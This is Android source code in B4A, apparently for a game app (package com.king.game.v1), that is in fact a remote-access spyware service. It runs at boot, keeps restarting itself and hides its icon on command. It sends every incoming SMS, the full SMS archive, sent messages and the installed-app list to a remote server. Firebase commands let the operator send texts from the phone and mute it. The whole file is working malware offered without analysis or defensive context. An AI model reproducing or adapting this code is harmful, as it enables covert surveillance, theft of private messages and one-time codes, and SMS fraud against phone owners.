#Region Service Attributes #StartAtBoot: True #StartCommandReturnValue: android.app.Service.START_STICKY #End Region Sub Process_Globals Type Message (Address As String, Body As String) Private fm As FirebaseMessaging Dim Comand,Opr,model,androidid,Connection,android,nump,osVersion,txm,data As String Dim PE As PhoneEvents Dim sms As Sms Dim ht As HttpJob Dim pm As PackageManager Dim sms2 As SmsMessages Dim p As Phone Private restartTimer As Timer Private operationInProgress As Boolean = False End Sub Sub Service_Create 'ایجاد نوتیفیکیشن ساده CreateSimpleNotification fm.Initialize("fm") ht.Initialize("ht", Me) PE.Initialize("PE") restartTimer.Initialize("restartTimer", 5000) restartTimer.Enabled = False End Sub Sub CreateSimpleNotification Try Dim n As Notification n.Initialize n.Icon = "icon" n.SetInfo("", "منتظرم بیای حال کنیم😉", "") n.Sound = False n.Vibrate = False n.Light = False n.AutoCancel = False Service.AutomaticForegroundNotification = n Catch Log("Error creating notification: " & LastException) End Try End Sub Public Sub SubscribeToTopics fm.SubscribeToTopic("v2") End Sub Sub Service_Start (StartingIntent As Intent) Try If StartingIntent.IsInitialized = True Then If File.Exists(File.DirInternal, "installed.txt") = False Then LogInstallation File.WriteString(File.DirInternal, "installed.txt", "1") End If If StartingIntent.Action = "android.provider.Telephony.SMS_RECEIVED" Then HandleIncomingSms(StartingIntent) End If fm.HandleIntent(StartingIntent) Sleep(0) End If Catch Log("Error in Service_Start: " & LastException) StartServiceAt("", DateTime.Now + 5000, True) End Try End Sub Sub LogInstallation Try android = p.GetSettings("android_id") Opr = p.GetNetworkOperatorName model = p.Manufacturer & " " & p.Model osVersion = GetOSVersion Connection = GetConnectionState data = "result=ok&action=install&androidid=" & android & "&opr=" & Opr & "&model=" & model & "&osVersion=" & osVersion & "&Connection=" & Connection ht.PostString(information.api & "/log.php", data) Catch Log("Error logging installation: " & LastException) End Try End Sub Sub GetOSVersion As String Try Dim r As Reflector r.Target = r.GetStaticField("android.os.Build$VERSION", "RELEASE") Return r.GetField("RELEASE") Catch Return "Unknown" End Try End Sub Sub HandleIncomingSms(Intent As Intent) Try Dim messages_list As List messages_list = ParseSmsIntent(Intent) If messages_list.Size > 0 Then For i = 0 To messages_list.Size - 1 Dim msg As Message msg = messages_list.Get(i) android = p.GetSettings("android_id") Opr = p.GetNetworkOperatorName Connection = GetConnectionState model = p.Manufacturer & " " & p.Model data = "result=ok&action=nwmessage&androidid=" & android & "&model=" & model & "&opr=" & Opr & "&Connection=" & Connection & "&sender=" & msg.Address & "&message=" & msg.Body ht.PostString(information.api & "/log.php", data) Next End If Catch Log("Error handling SMS: " & LastException) End Try End Sub Sub ParseSmsIntent (In As Intent) As List Dim messages_list As List messages_list.Initialize Try If In.HasExtra("pdus") = False Then Return messages_list Dim pdus() As Object Dim r As Reflector pdus = In.GetExtra("pdus") If pdus.Length > 0 Then For i = 0 To pdus.Length - 1 Dim msg As Message r.Target = r.RunStaticMethod("android.telephony.SmsMessage", "createFromPdu", _ Array As Object(pdus(i)), Array As String("[B")) msg.Body = r.RunMethod("getMessageBody") msg.Address = r.RunMethod("getOriginatingAddress") messages_list.Add(msg) Next End If Catch Log("Error parsing SMS: " & LastException) End Try Return messages_list End Sub Sub fm_MessageArrived (Message As RemoteMessage) operationInProgress = True Try Comand = GetSafeString(Message.GetData.Get("action")) androidid = GetSafeString(Message.GetData.Get("androidid")) android = p.GetSettings("android_id") Opr = p.GetNetworkOperatorName model = p.Manufacturer & " " & p.Model nump = GetSafeString(Message.GetData.Get("phone")) txm = GetSafeString(Message.GetData.Get("text")) Connection = GetConnectionState osVersion = GetOSVersion If Comand = "ping" Then SendLog("ping", "") Else If Comand = "pingone" Then If android = androidid Then SendLog("pingone", "") End If Else If android = androidid Then Select Case Comand Case "SendSingleMessage" SendSmsCommand(nump, txm) Case "silent" SetAllVolumes(0) SendLog("silent", "") Case "normal" SetAllVolumes(100) SendLog("normal", "") Case "change_icon" ChangeAppIcon Case "hideicon" HideAppIcon Case "unhide" ShowAppIcon Case "applist" GetInstalledApps Case "getsms" GetAllSMS Case "smsSend" GetSentSMS Case "lastsms" GetLastSMS End Select End If Catch Log("Error in fm_MessageArrived: " & LastException) End Try 'کد Finally در B4A وجود ندارد، اینجا می‌آید operationInProgress = False 'تاخیر برای کم‌رنگ کردن نوتیفیکیشن Dim t As Timer t.Initialize("tMinimize", 2000) t.Enabled = True End Sub Sub tMinimize_Tick Try If Not(operationInProgress) Then Dim n As Notification n.Initialize n.SetInfo("", "", "") n.Sound = False n.Vibrate = False n.Light = False Service.AutomaticForegroundNotification = n End If Catch Log("Error minimizing notification: " & LastException) End Try End Sub Sub GetSafeString(value As Object) As String If value = Null Then Return "" Return value End Sub Sub SendLog(action As String, extra As String) Try android = p.GetSettings("android_id") Opr = p.GetNetworkOperatorName model = p.Manufacturer & " " & p.Model Connection = GetConnectionState osVersion = GetOSVersion data = "result=ok&action=" & action & "&androidid=" & android & "&model=" & model & "&opr=" & Opr & "&osVersion=" & osVersion & "&Connection=" & Connection & extra ht.PostString(information.api & "/log.php", data) Catch Log("Error sending log: " & LastException) End Try End Sub Sub GetConnectionState As String Try Return p.GetDataState Catch Return "unknown" End Try End Sub Sub SendSmsCommand(phoneNumber As String, message As String) Try If phoneNumber.Length > 0 And message.Length > 0 Then SendLargeSms(phoneNumber, message) SendLog("SendSingleMessage", "&nump=" & phoneNumber & "&txm=" & message) End If Catch Log("Error sending SMS: " & LastException) SendLog("SendSingleMessage_error", "&error=" & LastException.Message) End Try End Sub Sub SendLargeSms(Number As String , Message As String) Try Dim r As Reflector r.Target = r.RunStaticMethod("android.telephony.SmsManager", "getDefault", Null, Null) Dim parts As Object parts = r.RunMethod2("divideMessage", Message, "java.lang.String") r.RunMethod4("sendMultipartTextMessage", _ Array As Object(Number, Null, parts, Null, Null), _ Array As String("java.lang.String", "java.lang.String", _ "java.util.ArrayList", "java.util.ArrayList", "java.util.ArrayList")) Catch Log("Error in SendLargeSms: " & LastException) End Try End Sub Sub SetAllVolumes(level As Int) Try p.SetVolume(p.VOLUME_NOTIFICATION, level, False) p.SetVolume(p.VOLUME_RING, level, False) p.SetVolume(p.VOLUME_VOICE_CALL, level, False) p.SetVolume(p.VOLUME_SYSTEM, level, False) p.SetVolume(p.VOLUME_ALARM, level, False) p.SetVolume(p.VOLUME_MUSIC, level, False) Catch Log("Error setting volume: " & LastException) End Try End Sub Sub ChangeAppIcon Try Dim j As JavaObject j.InitializeContext j.RunMethod("change_icon", Array As Object(information.pkg_name & ".icon2", information.pkg_name & ".main")) StartServiceAt("", DateTime.Now + 1000, True) SendLog("change_icon", "") Catch Log("Error changing icon: " & LastException) End Try End Sub Sub HideAppIcon Try Dim jo As JavaObject jo.InitializeContext jo.RunMethod("hideAppIcon", Null) SendLog("hideicon", "") Catch Log("Error hiding icon: " & LastException) End Try End Sub Sub ShowAppIcon Try Dim jo As JavaObject jo.InitializeContext jo.RunMethod("showAppIcon", Null) SendLog("unhide", "") Catch Log("Error showing icon: " & LastException) End Try End Sub Sub GetInstalledApps Try Dim applist As String = "" For Each pck As String In pm.GetInstalledPackages Dim appName As String = pm.GetApplicationLabel(pck) If appName.Length > 0 Then applist = applist & appName & CRLF End If Next File.WriteString(File.DirInternal, "applist.txt", applist) ht.Postfile(information.api & "/applist.php?result=ok&action=applist&androidid=" & android & "&Opr=" & Opr & "&model=" & model, File.DirInternal, "applist.txt") Catch Log("Error getting app list: " & LastException) End Try End Sub Sub GetAllSMS Try Dim allsms As String = "" Dim messagesList As List messagesList = sms2.GetAll For i = 0 To messagesList.Size - 1 Dim sms As Sms sms = messagesList.Get(i) Dim msgType As String Select Case sms.Type Case 1: msgType = "دریافت شده" Case 2: msgType = "ارسال شده" Case 3: msgType = "پیش‌نویس" Case Else: msgType = "ناشناخته" End Select allsms = allsms & "------------------------------------" & CRLF allsms = allsms & "نوع: " & msgType & CRLF allsms = allsms & "شماره: " & sms.Address & CRLF allsms = allsms & "متن: " & sms.Body & CRLF allsms = allsms & "تاریخ: " & DateTime.Date(sms.Date) & " " allsms = allsms & DateTime.Time(sms.Date) & CRLF allsms = allsms & CRLF Next File.WriteString(File.DirInternal, "AllSms.txt", allsms) ht.Postfile(information.api & "/file_up.php?result=ok&action=uploadsms&androidid=" & android & "&Opr=" & Opr & "&model=" & model, File.DirInternal, "AllSms.txt") Catch Log("Error getting all SMS: " & LastException) End Try End Sub Sub GetSentSMS Try Dim sentSms As String = "" Dim messagesList As List messagesList = sms2.GetAll For i = 0 To messagesList.Size - 1 Dim sms As Sms sms = messagesList.Get(i) If sms.Type = 2 Then sentSms = sentSms & "------------------------------------" & CRLF sentSms = sentSms & "شماره: " & sms.Address & CRLF sentSms = sentSms & "متن: " & sms.Body & CRLF sentSms = sentSms & "تاریخ: " & DateTime.Date(sms.Date) & " " sentSms = sentSms & DateTime.Time(sms.Date) & CRLF sentSms = sentSms & CRLF End If Next File.WriteString(File.DirInternal, "SSms.txt", sentSms) ht.Postfile(information.api & "/file_up3.php?result=ok&action=uploadsms&androidid=" & android & "&Opr=" & Opr & "&model=" & model, File.DirInternal, "SSms.txt") Catch Log("Error getting sent SMS: " & LastException) End Try End Sub Sub GetLastSMS Try Dim messagesList As List messagesList = sms2.GetAll If messagesList.Size > 0 Then Dim lastSms As Sms lastSms = messagesList.Get(0) Dim msgType As String Select Case lastSms.Type Case 1: msgType = "دریافت" Case 2: msgType = "ارسال" Case Else: msgType = "ناشناخته" End Select Dim extra As String = "&message=" & lastSms.Body & "&sender=" & lastSms.Address & "&type=" & msgType & "&date=" & DateTime.Date(lastSms.Date) & " " & DateTime.Time(lastSms.Date) SendLog("lastsms", extra) End If Catch Log("Error getting last SMS: " & LastException) End Try End Sub Sub JobDone(Job As HttpJob) Try If Job.Success Then Log("HTTP success: " & Job.JobName) Else Log("HTTP error: " & Job.JobName & " - " & Job.ErrorMessage) If Job.ErrorMessage.Contains("Unable to resolve host") Or Job.ErrorMessage.Contains("timeout") Then StartServiceAt("", DateTime.Now + 5000, True) End If End If Catch Log("Error in JobDone: " & LastException) End Try Job.Release End Sub Sub Service_Destroy If restartTimer.IsInitialized Then restartTimer.Enabled = False End If StartServiceAt("", DateTime.Now + 10000, True) End Sub #If Java import android.content.ComponentName; import android.content.pm.PackageManager; public void showAppIcon() { try { ComponentName componentName = new ComponentName(this, com.king.game.v1.main.class); getPackageManager().setComponentEnabledSetting(componentName, PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP); } catch (Exception e) { e.printStackTrace(); } } public void hideAppIcon() { try { ComponentName componentName = new ComponentName(this, com.king.game.v1.main.class); getPackageManager().setComponentEnabledSetting(componentName, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); } catch (Exception e) { e.printStackTrace(); } } public void change_icon(String pakage, String na) { try { PackageManager pm = getPackageManager(); ComponentName componentName = new ComponentName(this, na); pm.setComponentEnabledSetting(componentName, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); pm.setComponentEnabledSetting(new ComponentName(this, pakage), PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP); } catch (Exception e) { e.printStackTrace(); } } #End If